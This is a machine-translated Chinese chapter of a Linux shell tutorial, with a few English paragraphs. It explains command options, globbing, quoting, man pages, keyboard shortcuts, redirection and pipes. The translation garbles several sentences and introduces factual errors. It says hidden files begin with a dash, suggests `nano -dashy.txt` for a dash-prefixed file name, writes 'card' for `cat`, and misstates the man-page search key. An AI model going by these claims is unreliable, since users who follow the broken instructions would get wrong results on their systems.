命令还可以包含附加到命令名称的选项和参数,并使用空格将其隔开。这意味着,如果您想提供至少一个选项或参数,那么我们需要在命令名称后至少有一个空格。首先,让我们谈谈命令行选项。他们的目的是影响命令的行为。它们也被称为**开关**或**旗帜**。没有强制性标准,但通常任何单字符命令行选项都以单个破折号开始,而较长的选项名称有两个破折号符号。此外,如果您想提供多个单字符命令行选项,对于大多数标准的 Linux 命令,您可以将它们串联起来编写。最好知道单字符命令行选项通常是描述其含义的缩写:`-d`可以代表目录,`-x`代表排除,等等。 - -我们已经知道,没有任何进一步选项的`ls`命令会给出当前目录中所有文件的列表。如果您键入`ls -a`并按*进入*,您只需使用命令行选项运行第一个命令。`a`开关代表全部,它会影响默认行为`ls`,给你一个所有文件的列表,包括隐藏的文件,在 Linux 中这些文件以当前目录中的前导破折号开始。现在,让我们输入`ls -alth`并按下*进入*键查看结果: - -![](img/7794f997-1e4a-49d5-b10a-3d1e7ef60280.png) - -通过使用我们刚才讨论的`-a`标志,以及使用代表**列表**的`-l`开关,这会更加影响命令的默认行为,并且它会以列表格式打印所有文件,包括更详细的信息,例如创建日期。`-t`开关代表**时间**,它按照修改日期对文件列表进行排序,最新的条目最先出现,`-h`代表**人类可读的**,它将使用 **MB** 而不是字节作为文件大小,以更易读的形式打印出文件大小。 - -Often, command-line options can have arguments bound to them. In addition to options, we have command-line arguments, which are also called **parameters**. This is any dynamic or free-text piece of information that is not an option, and which gets fed into the command when it starts. Typical examples are filenames or directories that the command wants to process during execution. Arguments are also divided by *spaces*. - -键入`echo Hello`并按*进入*: - -![](img/d5263ce5-9a0b-4a9f-b0c1-1a1565fec613.png) - -在上一个命令中,`Hello`是`echo`命令的参数,而不是选项。`echo`命令是最基本的 shell 命令之一。它只是将提供给它的参数打印回命令行。正如我们将看到的,这是测试 Shell 特性的理想选择,例如 **globbing** ,我们将在本节后面详细了解。现在让我们在终端中输入`ls -al /boot /var`并按*进入*查看类似于以下的结果: - -![](img/1f8ccccd-1e52-4272-afeb-d3155c28a548.png) - -在这个例子中,我们第一次使用了命令行选项和参数。命令`ls`用`a`和`l`选项执行,参数为`/boot`和`/var`。这将在`/boot`和`/var`目录的详细列表视图中打印出所有文件,包括隐藏的文件。如前所述,参数经常绑定到特定的选项,例如`tar`命令,我们将在后面讨论。当你需要处理一个输入文件时,你必须直接在`-f`选项之后指定,而不是其他地方,或者,简而言之,输入文件参数绑定到`-f`选项。这种方法是不正确的,会产生错误。 - -# 文件环球化 - -在这一节中,您将了解 shell 扩展是如何工作的,以及当使用处理大量输入文件的命令时,我们如何使用文件 globbing 使我们的生活变得更容易。我们将讨论所有现有的和可用的 shell globbing 字符类,并向您展示每个类的重要用例和示例。当使用使用文件或目录名作为参数的命令时,例如`ls`命令,了解文件和目录全局化非常有帮助。这些是在 shell 中键入的特殊字符,其行为不同于常规字符。所有的 globbing 字符都将被 shell 替换,在任何命令都可以使用它们作为参数之前,shell 会给出一个与字符模式匹配的文件列表。这是一种简化处理文件的符号,尤其是在处理大量需要键入和处理的文件时。使用文件 globbing 可以节省你很多时间,因为多个文件可以用一个字符来处理。用 shell 的文件组列表替换这些特殊字符的概念也称为 **shell 扩展**。有几个可用的 globbing 字符,我们可以使用它们来创建非常复杂的文件列表选择。 - -全局字符是通配符、问号、感叹号、方括号和破折号。虽然它们的外观和行为非常相似,但 shell globbing 和正则表达式并不相同,两个概念也不可互换。这意味着您不能对 globbing 文件应用正则表达式,反之亦然。我们将在本章下一节中了解更多关于正则表达式的内容。最重要的全局字符是通配符。它将匹配特定目录中可用的任意数量的任意字符文件名,除了一个例外,它不匹配以点开头的文件,您可能已经在 Linux 中查看隐藏文件时注意到了这一点。如果在以点开头的文件中使用通配符并按下*回车*会发生什么?我们来看一个例子。如前所述,我们可以使用`echo`命令在终端中打印出随机文本。 - -让我们先换一个不同的目录。键入`cd /etc`并按*进入*。现在,输入`echo *`并按*进入*: - -![](img/f1dc0322-b8d6-41ba-8e8c-ae951eb1e8f7.png) - -在前面的命令中,在第一步中,shell 用当前目录中的文件列表替换通配符,并按照规则用空格分隔打印它们,然后显示包含任何字符的所有文件和目录,但不显示以点开头的文件。使用`echo`是在将你的 globbing 模式作为真正的命令行参数应用之前,测试它们是否与你想要的完全匹配的完美方法。您可以将通配符与任何其他静态字符混合使用,以使文件过滤器更加严格。键入`echo pa*`并按*进入*。这将匹配所有以小写字母`p`开头,后跟`a`,后跟任何其他字符的文件。或者输入`echo *.d`并按*进入*。本示例查找所有扩展名为`.d`的文件: - -![](img/3edc1a0f-159c-4235-9b08-eb72bf4c4b43.png) - -您甚至可以定义更严格的模式,例如,通过键入`echo li*.conf`并按*进入*。这个 globbing 模式将匹配当前目录中的所有文件,首先是小写的`l`,然后是`i`,接着是任何其他字符,但只匹配那些扩展名为`.conf`的文件。我们可以将文件 globbing 与任何接受文件选项列表作为参数的命令一起使用,例如`ls`命令。 - -例如,使用 globbing 模式`li *.conf`作为`ls`命令的命令行参数,为我们提供了与该模式匹配的所有文件的详细列表。同样,重要的是要理解我们没有将 globbing 模式输入到`ls`命令中,并且`ls`没有在程序执行期间在内部扩展文件。事实是,第一步中的一个 shell 将通配符扩展为一个文件列表,然后将该列表作为参数提供给`ls`命令。 - -We will use the `ls -d` option to not show directory content, which it does by default; this is because shell globbing doesn't differentiate between files and directories. - -在终端中输入`ls -d rc?.d`。这将为您提供一个所有文件的列表,其中只有一个随机字符作为第三个字符。接下来,输入`ls -d krb5.conf??`命令,如下所示: - -![](img/c7c97ed5-ae3a-47ee-bf3a-1ec2eb4c6d25.png) - -可以看到,问号也可以多次使用。这将获得扩展名为两个随机字符的所有文件,并且只有这些文件。我们将学习的最后一个全局字符是方括号,它定义了特定位置允许的字符范围,例如,键入`ls -l sub[ug]id`。这将扩展为所有文件的列表,以`sub`开头,第四个字符为`u`或`g`,后跟单词`id`: - -![](img/5dce98d6-f011-4606-99a5-9e0e4e1effdf.png) - -正如我们接下来将学习的,我们可以将括号与其他全局字符混合在一起。键入以下`ls`命令参数: - -```sh -ls /bin/[mM]ail* -``` - -这将扩展到`bin`目录中所有邮件程序的列表,有大写和无大写。稍后我们将了解更多关于`bin`目录的信息。您也可以将数字用于范围;在终端中键入`ls -d rc[01234].d`命令: - -![](img/91788f1c-35a5-43be-9bcb-aaa224664a62.png) - -在我们的示例中,这将扩展到`rc0.d`、`rc1.d`等等。如果您有连续的数字或字母范围,如在最后一个例子中,您也可以使用减号来缩短您的 globbing 表达式甚至更多。例如,输入`ls /bin/m[a-z] [a-z]`。这将给出以`m`开头的`bin`目录中的所有三个字母的命令名。 - -还有另一个有用的 globbing 字符,它是感叹号,可以用在括号中来定义扩展结果中不能有的东西,例如:`ls -d rc[!256].d`: - -![](img/485cd3dd-c149-4cfb-b3fc-1700138933a5.png) - -这表示我们不想展开第三个字符为`2`、`5`或`6`的文件。这也适用于括号内的连续范围,例如`ls -d rc[!3-6].d`。 - -关于 Linux 中的隐藏文件,您已经了解了三件事。它们以文件名中的一个点开始,通配符 globbing 会忽略它们,默认情况下`ls`不会显示它们;因此,它们被命名为隐藏。要显示主目录中的所有隐藏文件,我们使用`ls`命令的`-a`选项。您会看到您的主目录中有几个隐藏文件,例如`.bashrc`文件: - -![](img/873ee66e-2631-4a6b-909f-71cd386f56a8.png) - -但是你的目录里还有另外两个特殊文件,名字分别是[ `.` ]和[ `..` ],这两个特殊文件在本章后面会讲到。如果您想只显示当前目录中的隐藏文件而不显示这两个点文件,您需要键入什么?有了你现在拥有的所有知识,这应该很容易完成,下一行现在应该对你有意义。所以,输入`ls .[!.]*`。但这也会列出目录内容。要不列出目录内容,请使用`ls -d`标志,这样命令将是`ls -d .[!.]*`: - -![](img/40f6e6de-d304-4168-ba3d-de3df85e21d7.png) - -在这一节中,我们讨论了关于 Linux shell globbing 的所有知识。请记住,通配符匹配任何位置的每个文件名字符。非常重要的是,这条规则有一个例外:它与以点开头的文件名不匹配,在 Linux 中,这些文件名被称为隐藏文件。问号也是如此,但只是在一个位置;它也不匹配带前导点的文件名。括号在括号之间定义的单个位置匹配特定字符。当有连续的允许字符时,也可以使用破折号。要匹配除特定位置的一组字符之外的所有内容,请使用括号中的感叹号。 - -# 引用命令 - -正如我们在上一节中了解到的,shell 有一个特殊字符列表,这些字符在 shell 中有特殊的含义,并触发一些功能,例如使用通配符作为文件名。但是有比我们之前给你看的更特别的角色。如果您想使用这样的特殊字符,例如,使用包含问号符号的文件名,这些符号是有效的文件名,那么您就有一个问题,因为 shell 总是首先尝试对特殊字符应用特殊操作,所以它们不会像普通的文件名字符那样工作。这里的解决方案是使用各种方法禁用这些字符的所有特殊含义,例如引用,这样我们就可以将它们视为任何其他正常的文字字符。如您现在所知,在 Linux Bash shell 中,有一些特殊的字符,例如`* # [ ] . ~ ! $ { } < > | ? & - / , "`,它们对 shell 有特殊的意义,并得到与普通字符不同的对待。但是,如果您想使用文件名或目录作为参数,并且在其名称中包含一个这样的特殊字符,该怎么办呢?此外,如何处理名称中带有空格的文件名,空格也可以被视为特殊字符? - -例如,如果您的目录中有一个名为`My private Documents.txt`的文件,您如何将其用作命令行参数?如果将它与`ls`命令一起使用,由于空格是命令行参数分隔符,Shell 不能将其视为一个不同的文件。相反,它认为你提供了三个不同的文件,分别是`My`、`private`和`Documents.txt`: - -![](img/a27557b4-d315-4bc3-a904-ec2d1f82c080.png) - -此外,如果您想使用包含特殊字符(如感叹号)的文件,例如,如果您有一个名为`!super!file!.txt`的文件,这在 Linux 中是一个有效的文件名,会发生什么?如果我们试图使用这个文件名作为命令行参数,它就不能通过这个名称找到这个文件,因为它包含了特殊的字符,这些字符被 shell 以不同的方式处理。或者如果你想`echo`一些单词之间有多个空格的文本会发生什么?正如我们所知,空格也是一个特殊的 shell 字符,用于分隔命令行参数: - -![](img/9d5efe93-75b1-4979-a3a8-c157d1b5f47f.png) - -在刚刚显示的示例中,我们需要找到一种方法来禁用 shell 扩展,并阻止 shell 处理特殊字符。有两种简单的方法可以禁用参数中的 shell 扩展,它们是引用和转义。将特殊字符和空格放入单引号将防止 shell 扩展,并将所有可能的字符(包括特殊字符)视为普通字母数字字符。在单引号中,没有任何东西会被扩展;对于大多数特殊字符,这也适用于双引号,只有少数例外。 - -在下面的截图中,有两个例子起作用,但其他例子不起作用,它们得到了特殊待遇: - -![](img/0bbdb7b6-ba43-4bd5-aa7e-292f3ef3694c.png) - -此外,如前面的截图所示,美元符号也保持特殊,如果您在报价时需要 shell 扩展环境变量,通常会使用这种符号。如前所述,单引号将禁用所有特殊字符。您可以通过使用反斜杠键来完成同样的操作,反斜杠键在 shell 中也称为**转义字符**,它的作用几乎与引号完全相同,但只会禁用 shell 扩展和下一个的所有特殊含义,并且只禁用反斜杠键后面的下一个直接字符: - -![](img/cbb41cd7-c4ec-4108-adc7-56267743bd0e.png) - -如你所见,基本上是一样的。转义字符通常用于通过转义或禁用每行中的新行字符来创建清晰的多行命令行调用。反斜杠字符的另一种用法是在处理参数(如以破折号开头的文件)时使用它,因为这通常会混淆 shell,因为它将任何破折号都解释为选项。 - -例如,如果我们想创建一个名为`-dashy.txt`的空文件,这将不起作用,因为命令行很混乱,并且认为文件名是单字符选项的列表。在这里,我们可以使用转义字符来摆脱破折号的特殊含义。对于以破折号开始的参数,一些命令,如`ls`或`touch`,也有另一个很好的特性,双破折号,它标志着选项列表的结束。因此,要将您的 dashy 文件视为参数而不是选项,我们还可以键入`nano -dashy.txt`或`touch '-dashy.txt'`命令。 - -如您所知,Shell 中存在许多具有特殊含义的特殊字符,例如 Shell 球形字符或感叹号。如果您想使用这些字符,而不是 shell 扩展文件列表,而是在文件名或其他文字命令参数中使用这些字符,该怎么办?你需要禁用它们。使用单引号将禁用所有特殊字符,并且是在 shell 中工作时的首选方式;它适用于几乎所有日常引用用例。使用双引号时,大多数特殊字符会被禁用,但不是全部,例如环境变量的 shell 扩展。因此,这种方法对于包含正常字符和环境变量值的文本创建非常有用。反斜杠或转义字符只会禁用以下字符的任何特殊含义。 - -# 寻求帮助 - -在我们开始教您如何使用 Linux 命令可用的各种形式的文档获得帮助之前,我们首先必须学习如何阅读默认命令语法文档。Linux 中提供的大多数标准 shell 命令都遵循描述其用法的统一格式。之后,我们将向您展示如何获得帮助。 - -当使用 Linux 命令行时,获得帮助和查找信息和文档非常重要,因为命令行可能非常复杂,没有人知道并且可以记住所有的东西。在每个 Linux 系统上,有几种方法可以获得帮助,这取决于您需要了解的信息的种类。在本节中,我们将探索不同的文档来源。 - -在前一节中,您已经学习了 Bash shell 命令的一般结构,以及您需要了解的关于命令选项和参数的所有内容,但通常这还不够。对于很多 shell 命令,选项和参数的具体结构非常复杂。一个职位可以绑定到一个特定的职位,其中一些可以是强制性的,也可以是可选的。另外,选项和参数可以相互依赖。在 Linux 中,对命令命令行格式的描述,包括参数和选项,被称为命令用法或命令语法**。学习阅读命令的用法是 Linux 初学者在开始时需要学习的最基本的技能之一。在 Linux 中描述命令用法的标准方式是命令名称,包含文本、点和文本的方括号,例如`CommandName [XXX]... TEXT`。方括号表示中的内容是可选的。三个点意味着点前的表达式可以重复多次或只重复一次。任何不带方括号的单词都是强制性的。** - -以`ls`命令的一般语法为例,您已经知道如何使用它。从官方`ls`手册上看,可以解读为`ls [OPTION]... [FILE]...`;这意味着列出文件的命令有以下用法。它以`ls`命令名开始,其他都在括号中,所以所有选项和参数都是可选的,这意味着您也可以执行`ls`而不提供任何进一步的信息,只需按*回车*键。但是您也可以提供多个选项或仅一个选项。另外,我们可以看到参数是`FILE`类型的,这意味着在这个位置需要一个文件或目录。您也可以提供多个文件或目录,或者只提供一个或零个,如下图所示: - -![](img/254bdc69-e724-4e5b-a1ce-877a01332fd6.png) - -作为另一个例子,`copy`命令可以通过使用后跟零或多个选项的`cp`命令名称来运行。`cp`命令的语法是`cp [OPTION]... SOURCE... DEST_DIR`。您可以完全跳过选项,但至少一个或多个源目录和一个目标目录是必需的,并由三个点表示,没有它们您无法运行命令。例如,在没有至少两个参数的情况下运行`cp`会产生以下错误。所有选项都要正确使用: - -![](img/1054ecf2-c917-41b4-841b-6e4bfcdb8b17.png) - -既然我们已经知道如何阅读任何标准的命令语法或用法,那么我们实际上如何获得帮助呢?正如我们之前所说的,有几种方法可用,它们是命令帮助选项、手册页和完整的程序文档。通常,所有这三种类型的帮助都与命令行或程序一起安装,因此首先尝试在命令所在的同一台机器上本地获取 shell 命令的帮助是一个非常好的习惯。这通常是每个命令最准确、最可靠和最新的信息,在进行互联网研究或使用具有不同 Linux 版本或系统的另一台计算机的文档之前,应该优先考虑这一点。 - -Often internet solutions found in blogs or forums are too unspecific or plain wrong for your specific Linux installation, and should always be used with caution. Don't ever blindly copy and paste command snippets from the internet. - -命令参数、选项和功能可能会随着时间的推移而改变,具体取决于版本和实现,如果应用不当,可能会非常危险。Linux 上有数百个命令,每个命令都有不同的语法。没有人能记住所有的东西,所以首先让我们从最简单快捷的方法开始,为你已经知道名字的任何标准 Linux 程序获得快速帮助。事实上,大多数程序都有一个特殊的命令行开关,可以在屏幕上打印出选项和参数使用情况的快速摘要,这在大多数情况下是您需要知道的全部内容。然而,在 Linux 上帮助或使用标志并不标准化,有些命令甚至根本没有这个标志,但是大多数工具开发人员遵循规则使用单字符标志`-h`,或者长选项标志`--help`。 - -Not all shell commands have a help option, especially those very easy ones. - -现在,如果你需要更多的帮助,你可以查看命令手册,Linux 用户通常称之为**手册页**。大多数程序都有这样的文档。在接下来的几个示例中,您需要使用您在安装过程中设置的根帐户密码安装一些附加软件。手册页使用较少的导航,我们将在后面学习如何查看文本文件时讨论。 - -以下步骤将帮助您浏览 Linux 终端中任何命令的手册: - -1. 打开终端,输入`copy`命令的`man cp`。 -2. 使用*向上翻页*和*向下翻页*键上下滚动文档,斜线( */)* 可用于搜索文本;在斜线后输入任意关键词进行搜索,然后按*进入*。比如`/backup`。 -3. 按下*结束*键,在手册页中搜索下一个条目。 -4. 要退出搜索选项,请使用 *Esc* 键。 -5. 使用小写 *g* ,可以滚动到页面顶部,而大写 *G* 滚动到页面底部。 -6. 可以按小写 *q* 退出手册页。 - -回到页面顶部,`cp`命令的手册页分为不同的主题和标题,如下图截图所示: - -![](img/a16d1618-56c7-43fa-ad49-b81e6ee9cf5f.png) - -大多数标准的 Linux 命令都遵循这种类型的结构。此外,您可以在这里看到,根据给定的选项和参数,一些命令可以有不同的使用格式。现在,停止使用 *q* 键。`man`命令有一个非常有用的选项,键入`man -k`,然后将任何利益定义作为参数。这将在系统上安装的所有手册页中搜索某个关键字。例如,如果您忘记了特定的命令名称,或者需要关于要使用的主题或命令的一般帮助,或者需要首先查看哪里,这非常有用。如果您键入`man -k copy`命令,这将打印出与复制有关的命令的所有手册页: - -![](img/ad0c03ec-3196-4227-9505-5a66403941ef.png) - -在使用`-k`标志的同时,还可以看到搜索结果在男名后面的括号中写了一些数字;这些是手册页部分,这是我们需要知道的另一个非常有用的概念。一个 Linux shell 定义,比如`printf`,可以描述的不仅仅是一个命令行程序,手册页也不仅仅描述命令行工具。在我们的例子中,`printf`不仅是一个可以由 shell 用户启动的命令行工具,也是这个系统使用的编程语言 C 中库函数的名称。`man`现在为某个特定的人的名字来自的类型定义一个区段编号系统。键入`man man`将显示`man`命令的手动文档,并搜索键盘部分,如下所示: - -![](img/e1609794-341f-41c7-b07b-b02aa13663cb.png) - -正如我们在前面的截图中看到的,man 命令的手册页有九个部分。第一个是本节中对我们来说最重要的,因为我们很可能是 shell 命令用户。但是,如您所见,第三部分是库调用。键入`man printf`,打印`printf`命令的用法。另一方面,如果你输入`man 3 printf`,它会打印出 C 语言的 Linux 程序员手册。 - -让我们跳到第八部分,这是为系统管理员编写的`xfs_copy`命令的手册。除了手动页面之外,许多可以安装在 Linux 上或随系统一起提供的命令,在硬盘文件系统的特定文件夹位置确实有额外的高级文档。对于某些程序,也可以使用特殊的安装包来安装其他文档,我们将在本节后面部分了解到这一点。有时,这些额外的文档包含如何使用程序的宝贵使用示例;关于使用的内部算法或方法的信息;更改日志和许可证信息;作者联系方式;历史;错误或限制的列表;或者示例配置文件,我们将在后面讨论。 - -如果您坚持使用手册,或者手册对您来说不够用,请尝试查看 CentOS 7 标准文档路径中是否存在您感兴趣的文档文件夹。例如,键入`postfix`文档文件夹所在的位置。这是一个很好的例子。如果你进入目录,你会发现很多文本文件格式的附加文档。有关更多信息,请参考以下屏幕截图: - -![](img/353c36f2-8d79-4fe1-a1d8-8766fee5dd81.png) - -使用 less 程序读取文件。使用与手册页相同的键盘快捷键来浏览文件,例如,键入 *q* 退出。 - -If you need more or advanced documentation, look into the `/usr/share/doc` folder and see if there's something available for you. - -# 使用 Linux Shell - -在本节中,我们将学习如何在 shell 中高效地工作。我们将介绍一些重要的实践和技术,这些实践和技术将提高您的工作效率,并使您成为更快的 shell 命令黑客。这可以让你成为一个更快乐的人,因为最终,你将能够在壳里工作,感觉非常舒服。请注意,在这一部分,我们将向您展示许多键盘快捷键。学习键盘快捷键就像学习其他任何一门手艺一样,你慢慢地、循序渐进地开始,因为一次学习太多新技能会让你不知所措,比小块学习更容易让你忘记。我的建议是从学习前三到四个命令编辑快捷方式开始,然后一天一天或一周一周地融入更多内容。我们将从命令编辑快捷方式开始。现在,如果您根本不知道任何命令编辑快捷方式,让我们回顾一下您可能知道的关于如何在命令行中键入和编辑文本的内容。 - -移动光标位置的第一个快捷方式是可以使用左右箭头键,这有助于编辑您编写的文本,以在特定位置插入或删除字符。但是如果这是在 shell 中所能做的,那么在 shell 中工作将会非常低效,因为单字符光标移动非常慢。此外,每次执行一个带有输入错误的命令,或者命令需要以很小的差异重新运行,例如更改一个选项,完整的命令需要从头到尾重新输入。 - -为了提高效率,让我们为您的 Linux 日常工作介绍一些非常重要的命令编辑快捷方式: - -* 要将光标移动到行尾,请使用 *Ctrl* + *E* 。 -* 回到开头,分别按 *Ctrl* + *A* 、 *Ctrl* + *E* 、 *Ctrl* + *A* 。 -* 要将光标移动到由空格或特殊字符(如点、分号或点)定义的下一个单词,请使用 *Ctrl* 和右箭头键向前移动。 -* 要向后移动一个单词,在按住 *Ctrl* 键的同时使用左箭头键。也可以使用 *meta* + *F* 和 *meta* + *B* 进行同样的操作。 -* 在大多数系统上,像任何普通的电脑键盘一样,没有元键,所以元键被映射到 *Esc* 或 *Alt* 键。 - -Using the *Alt* key in some terminal emulators such as the Xfce4 Terminal is reserved for menu accessibility. So, you first have to disable the *Alt* key as a menu shortcut in the preferences before you can use it as a shortcut. - -* 要在当前位置和行首之间切换,按 *Ctrl* + *XX* 两次。 -* 按 *Ctrl* + *K* 删除光标到命令行末尾的文本。 -* 要删除光标到命令行开头的文本,请按 *Ctrl* + *U* 。使用 *Alt* + *D* 删除到单词末尾。 - -我们在这里刚刚讨论的所有命令编辑键盘快捷键只是您日常使用中最重要和最有效的快捷键,还有很多很多。 - -要获得所有 Bash 键盘快捷键的完整列表,请执行以下操作: - -* 键入`man bash`,然后搜索要移动的截面命令 -* 在此手册页中,搜索`Killing` -* 在此手册页中, *C* 键是 *Ctrl* 键, *M* 键是元键,破折号表示组合或按住两个键,正如我们之前使用 *Ctrl* + *A* 快捷键向您展示的那样 - -例如,`C-k`代表**删除线**,从点到线的末端删除文本。 *Alt* + *T* 交换单词,`M-u`让单词大写,`M-l`让单词小写。 - -现在,让我们转到命令完成快捷方式。最重要的命令完成快捷键是键盘上的 *Tab* 键。它会尝试猜测并自动完成您要键入的命令。它非常有用,大大加快了键入命令的速度,但是在使用该键时不要过度,如果没有替代选项,它只能打印完整的唯一命令名。键入`pass`并按下*选项卡*键;它将自动完成名称`passwd`,因为没有其他具有此全名的程序可用。键入`pa`并按下*选项卡*键;这将给你几个结果,因为找不到唯一的名字。键入`yp`并按下*选项卡*键;这将自动完成一个长名字,因为这是唯一可用的`variant`。*选项卡*短键默认自动完成命令;要自动完成其他内容,如文件名,请使用 *Alt* + */* 键。更多信息可以在 Bash 手册页的相应部分找到。 - -现在,让我们来看看命令调用的快捷方式。Linux Shell 有一个非常好的功能,那就是`history`命令。这是一个存储和检索所有输入到 shell 中的命令的系统。默认情况下,在 CentOS 7 系统上,会存储最后一千个命令。这个号码也可以更改。命令行历史记录是一个非常有用的功能,可以节省时间,因为它不需要重复键入,或者可以查看某个特定的命令在某段时间之前是如何执行的。要打印当前历史,输入`history`并按*进入*。如果要重新执行该列表中的命令,请使用感叹号和相应的数字。两个感叹号运行历史记录中的最后一个命令。另一个感叹号符号可以用来从历史命令中提取特定的参数。这将从`history`命令`166`中提取第三个参数,如下图所示: - -![](img/8a19d06c-e425-49dd-8361-beb6320793cd.png) - -另一个非常有用的历史功能是回忆最后一个命令: - -* 要浏览之前执行的历史命令,请按键盘上的向上箭头键。 -* 要返回下一个历史命令,请使用向下箭头键。 -* 要在历史记录中搜索命令,请按 *Ctrl* + *R* ,然后输入搜索关键字。 -* 要循环显示结果,再次按下 *Ctrl* + *R* 。 -* 要运行您找到的特定命令,请按*进入*键。 - -* 要快速插入前一个命令的最后一个参数,请使用 *Alt* +点。 -* 另一个非常有用的特性是 shell 手动扩展一行,而实际上不必执行该行,这对于找出错误和盒子非常有用。这可以使用*Ctrl*+*Alt*+*E*来完成。 - -接下来,我们需要知道如何使用程序和流程。首先,我们将讨论如何中止任何正在运行的程序。如果您需要退出一个命令,因为它没有响应,或者您犯了一个错误,想要停止它,这一点很重要。例如,让我们键入`cat`命令,它将永远运行。让我们忽略这个命令目前正在做什么。这使得 Shell 没有反应,因为`cat`永远不会在我们 Shell 的最前端完成运行,并且永远运行。要返回 shell 提示符以便我们可以键入新命令并再次工作,我们需要在命令运行时退出命令。为此,我们可以在 shell 中使用一个特殊的组合键来退出当前的前台进程。按下 *Ctrl* + *C* 。 - -This is a very important key shortcut and it should be memorized: *Ctrl* + *C*. - -您也可以暂停一个程序,这就像暂停它的处理并将其放入后台,这样您就可以再次在 shell 中工作。这可以通过以下方式实现: - -1. 按 *Ctrl* + *Z* 。如果以后想继续前台运行的程序,输入`fg`并按*进入*。 -2. 也可以在暂停时使用`bg`命令将其放在后台。现在程序在后台运行,你可以在前台工作。 -3. 退出这个后台运行的程序最简单的方法就是把它放到前台,然后用 *Ctrl* + *C* 中止。 -4. 下一个很有用的命令是按 *Ctrl* + *L* ,清除屏幕,效果和`clear`命令一样。 -5. 我们将在这里学习的最后一个非常有用的命令是按下 *Ctrl* + *D* ,关闭 Bash Shell。这类似于键入`exit`命令。 - -# 理解标准流 - -在本节中,您将了解为什么每个命令都可以使用三个标准流来访问其输入和输出。此外,您将学习如何处理这些输入和输出流,以及如何使用重定向。最后,我们将学习如何使用管道,以及它们为什么如此重要。Linux 操作系统的一个理念是,每个命令在系统中只有一个功能,不多也不少。例如,有一个命令列出文件,另一个命令对文本进行排序,还有一个命令打印文件的内容,等等。 - -现在,shell 最重要的功能之一是连接不同的命令,为各种问题和工作流创建定制的解决方案和工具。但是,在我们向您展示如何将不同的命令连接在一起以构建强大的东西之前,我们首先需要知道命令如何使用其输入和输出,以及什么是输入和输出重定向。大多数 Linux 命令在处理数据时遵循类似的模式。我们使用的大多数命令确实得到某种输入,例如,它们读取文件的内容,然后处理这些信息,然后几乎所有的命令都在计算机屏幕上输出某种结果。因为每个命令都使用某种输入,并在 Linux 上返回某种输出,所以定义了三个标准通道,每个命令都可以使用。它们用于在执行过程中操作系统和命令之间的通信。分别称为**标准输入**或`stdin`、**标准输出**或`stdout`、**标准误差**或`stderr`。 - -正常程序输出到`stdout`通道,而`stderr`也是一个输出流,它可以用来显示和处理命令执行时出现的任何类型的错误信息。这些也被称为**标准溪流**。它们被称为流,因为数据通过特定的通道连续流动,并由命令连续处理或生成,尽管它们有一个开放端,这意味着使用它们的命令无法预测数据流何时停止或结束。现在,我们可以使用某些文件更改`stdin`和`stdout`位置;这叫做**重定向**。 - -在本节中,我们还将解释管道的概念,以及如何使用它们,管道是 Linux shell 最基本的概念和主要特性之一。例如,如果您键入`ls /var/lib/system/`,结果随机种子将被打印到屏幕上,因为默认情况下,对于每个 Linux 命令,它都被定义为`stdout`设备。但是如果你输入`cat /var/log/messages`,一条错误信息会被打印到同一个屏幕上,因为`stdout`和`stderr`都连接到同一个输出设备,屏幕。 - -在 Linux 上,您的物理输入和输出设备,如键盘或屏幕,像任何其他硬件设备一样,是由特殊的系统文件抽象和表示的。所有这些特殊文件都驻留在名为`/dev`的系统目录中,该目录也称为**系统设备目录**。但是我们能用这样的系统做什么呢?它的妙处在于,我们可以将命令的输入和输出重定向到默认键盘和屏幕源或目的地之外的另一个位置,该位置也必须是 filetype。这对于将`stdout`和`stderr`分离到两个不同的位置也非常有用,如果命令产生大量输出,这尤其有助于保持命令的概览运行。 - -对于输出通道重定向,我们使用大于号( *>* ),对于输入重定向我们使用小于号( *<* )。要寻址特定的通道,如`stdin`、`stdout`、`stderr`,我们使用相应的数字`0`、`1`和`2`。使用输出重定向时,`stdout`通道是预期的,所以我们不必显式编写。对于 99%的情况,您只重定向`stdout`和`stderr`,所以让我们专注于那些例子。 - -要将命令的`stdout`流输出重定向到文件,请使用大于号。如前所述,`stdout`通道是预期的,所以最后一个命令也可以输入如下: - -```sh -ls /var/lib/systemd/ > /tmp/stdout-output.txt -ls /var/lib/systemd/ 1> /tmp/stdout-output.txt -``` - -使用`card`命令打印出我们刚刚创建的文件内容,重定向到`stdout`。要重定向`stderr`频道,请使用数字`2`作为标准流描述符。下面的屏幕截图显示了前面命令的输出: - -![](img/7b04e011-9e42-422d-9fa8-43cc7e64a47e.png) - -如您所见,错误消息已被重定向到一个文件。要将`stdout`和`stderr`重定向到两个不同的文件,请键入以下屏幕截图中显示的命令: - -![](img/7a3bd9a4-0228-48af-9ca0-c832a49f06f2.png) - -另一种符号,使用*符号*字符,允许将一个通道重定向到另一个通道。要将`stderr`重定向到`stdout`通道,请键入以下屏幕截图中显示的命令: - -![](img/5754adbc-5759-4200-8c37-19fcac394707.png) - -有时候,你只对一个输出流感兴趣,因此在任何一个 Linux 系统中都存在一个特殊的设备文件,叫做`null`设备,它消耗并消失任何一种被重定向到它的流数据到虚空中。例如,如果您不希望任何命令有任何输出,您可以使用下面屏幕截图中显示的命令: - -![](img/11f2e005-80c4-41aa-a86b-3a34ca25356a.png) - -最后,要重定向`stdin`,可以使用小于号[ `<` ]。例如,这可能非常有用,因为一些可用的 shell 命令可以直接读取文件的内容作为`stdin`,例如`grep`命令,我们将在后面了解该命令。 - -现在,让我们讨论管道。除了将命令的默认输入和输出流`stdin`、`stdout`和`stderr`重定向到文件,我们还可以使用 shell 管道的概念来获取一个命令输出作为另一个命令的输入。这个系统没有限制,很容易建立多命令链来回答你非常复杂的问题。如前所述,这个 shell 特性允许您创建非常强大的命令管道和工作流,为各种 Linux 命令行工作创建定制的解决方案,并为您回答非常复杂的问题。 - -为了将命令链接在一起,这意味着使用`stdout`从第一个命令作为`stdin`到下一个命令,我们使用键盘上的竖线符号[ `|` ],在 Linux 中称为**管道**符号。例如,如果您有一个非常长的目录内容列表,您想在不永远滚动终端窗口的情况下阅读,您可以使用管道从`ls`命令输出目录内容,而不是在屏幕上,而是直接作为文件查看器的输入,正如我们之前所学的。通常,管道用于避免中间结果文件,没有它们会更高效。这方面的用例是无穷无尽的,例如,如果我们得到一个文件,其中有未排序的人名,我们可以使用`cat names.txt | sort`对它们进行排序: - -![](img/06f54597-854a-4347-bc93-2c6b62fa8f2b.png) - -您还可以获得该文件中所有唯一名称的列表。我们将使用 unique 命令来实现这一点,该命令仅适用于排序列表。所以,我们需要使用`cat names.text | sort | uniq`进行排序: - -![](img/729cab59-0336-4c7a-a106-a3cd9c908b25.png) - -您也可以使用字数统计命令行工具使用`cat names.text | sort | uniq | wc`来统计唯一的行数: - 